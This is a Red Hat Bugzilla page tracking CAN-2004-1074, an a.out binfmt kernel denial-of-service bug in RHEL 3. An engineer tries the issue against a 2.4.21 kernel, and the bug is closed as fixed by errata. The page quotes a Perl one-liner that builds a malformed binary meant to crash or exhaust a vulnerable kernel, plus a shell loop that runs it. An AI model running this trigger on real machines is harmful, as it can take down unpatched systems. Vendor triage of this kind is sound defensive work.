Bug 144361
| Summary: | CAN-2004-1074 a.out binfmt DoS | ||
|---|---|---|---|
| Product: | Red Hat Enterprise Linux 3 | Reporter: | Josh Bressers <bressers> |
| Component: | kernel | Assignee: | Dave Anderson <anderson> |
| Status: | CLOSED ERRATA | QA Contact: | Brian Brock <bbrock> |
| Severity: | high | Docs Contact: | |
| Priority: | medium | ||
| Version: | 3.0 | CC: | jbaron, jparadis, mjc, peterm, petrides, riel |
| Target Milestone: | --- | Keywords: | Security |
| Target Release: | --- | ||
| Hardware: | All | ||
| OS: | Linux | ||
| Whiteboard: | public=20041111,impact=important | ||
| Fixed In Version: | Doc Type: | Bug Fix | |
| Doc Text: | Story Points: | --- | |
| Clone Of: | Environment: | ||
| Last Closed: | 2005-05-23 21:48:17 UTC | Type: | --- |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
|
Description
Josh Bressers
2005-01-06 15:21:52 UTC
I cannot reproduce this problem. > try executing this binary: > perl -e'print"\x07\x01".("\x00"x13)."\xc0".("\x00"x16)'>eout > (it may be neccessary to turn memory overcommit on before) > > This should result in a kernel-oops. > Doing this in a loop will eat fd's and memory. I've loaded the binfmt_aout module, and set vm.overcommit_memory, and created the binary using the supplied perl script: # uname -r 2.4.21-27.ELsmp # lsmod | grep binfmt binfmt_aout 5440 0 # sysctl -w vm.overcommit_memory=1 vm.overcommit_memory = 1 # perl -e'print"\x07\x01".("\x00"x13)."\xc0".("\x00"x16)'>eout # file eout eout: 386 executable not stripped # chmod +x eout # while true > do > ./eout > done -bash: ./eout: cannot execute binary file -bash: ./eout: cannot execute binary file -bash: ./eout: cannot execute binary file -bash: ./eout: cannot execute binary file ... # strace ./eout strace: exec: Exec format error execve("./eout", ["./eout"], [/* 30 vars */]) = 0 # See http://linux.bkbits.net:8080/linux-2.4/cset@41c36fb6q1Z68WUzKQFjJR-40Ev3tw for the backported fix Removing [kernel-unsupported] since this allegedly will also affect elf binaries on ia64 etc. How can it be reproduced with an ELF binary on an ia64? I've determined that this was fixed in U5 (in kernel version 2.4.21-27.8.EL) as well as in the 2nd E5 build (in kernel version 2.4.21-27.0.2.EL). Here is the comment associated with the release of that E5 advisory: "An advisory has been issued which should help the problem described in this bug report. This report is therefore being closed with a resolution of ERRATA. For more information on the solution and/or where to find the updated files, please follow the link below. You may reopen this bug report if the solution does not work for you. http://rhn.redhat.com/errata/RHSA-2005-043.html" Obviously, we'd rather have people upgrade to U5 at this point, which was released with advisory RHSA-2005:294. *** Bug 144153 has been marked as a duplicate of this bug. *** |